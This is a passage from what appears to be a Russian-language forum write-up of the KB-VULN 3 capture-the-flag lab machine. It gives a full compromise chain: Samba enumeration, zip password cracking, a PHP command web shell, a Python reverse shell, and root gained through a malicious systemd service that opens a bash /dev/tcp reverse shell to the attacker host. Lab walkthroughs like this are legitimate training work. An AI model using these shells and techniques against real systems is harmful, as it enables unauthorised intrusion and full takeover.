Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 и 2.
Найти и скачать коробку можно тут
Ссылка скрыта от гостей
Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.
Как всегда, сначала найдем атакуемую машину в сети при помощи команды:
~$ sudo netdiscover
В результате видим нужный ip:
192.168.3.142
Теперь просканируем машину nmap'ом:
~$ nmap -A -p- -v 192.168.3.142
Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:
~$ smbmap -H 192.168.3.142
Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):
~$ smbclient //192.168.3.142/Files
В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:
Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:
~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v
И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:
Что ж, пойдем смотреть. А перейдя на сайт (
Ссылка скрыта от гостей
) видим очень красивую страницу 404:Нужно подкорректировать файл hosts:
~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts
И, перейдя на сайт (
Ссылка скрыта от гостей
) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу
Ссылка скрыта от гостей
Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>
Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):
http://kb.vuln/files/editor/shell.php?cmd=ls
Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :
Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.131",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
Загрузив файл, проверим, что он есть:
Теперь запустим прослушиватель на основной машине:
~$ nc -lnvp 1337
Выдадим права на запуск файлу rev.py на сервере и запустим его:
http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py
http://kb.vuln/files/editor/shell.php?cmd=python rev.py
Мы внутри, пойдем, попробуем прочитать пользовательский флаг:
www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt
6346c6d19751f1a3195f1e4b4b609544
Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl
www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null
Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:
Bash:
[Unit]
Description=Whatever
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"
[Install]
WantedBy=multi-user.target
Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:
~$ sudo python -m SimpleHTTPServer 80
www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service
Предварительно запустим прослушиватель на основной машине:
~$ nc -lnvp 4444
Осталось запустить сервис:
www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service
<arget.wants$ systemctl enable /dev/shm/toor.service
Created symlink /etc/systemd/system/multi-user.target.wants/toor.service -> /dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor
<ystem/multi-user.target.wants$ systemctl start toor
I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:
Сам флаг- 49360ba4cbe27a1b900df25b247315d7
На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.
Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.
Большое спасибо всем, кто дочитал этот врайтап до конца.
Последнее редактирование модератором: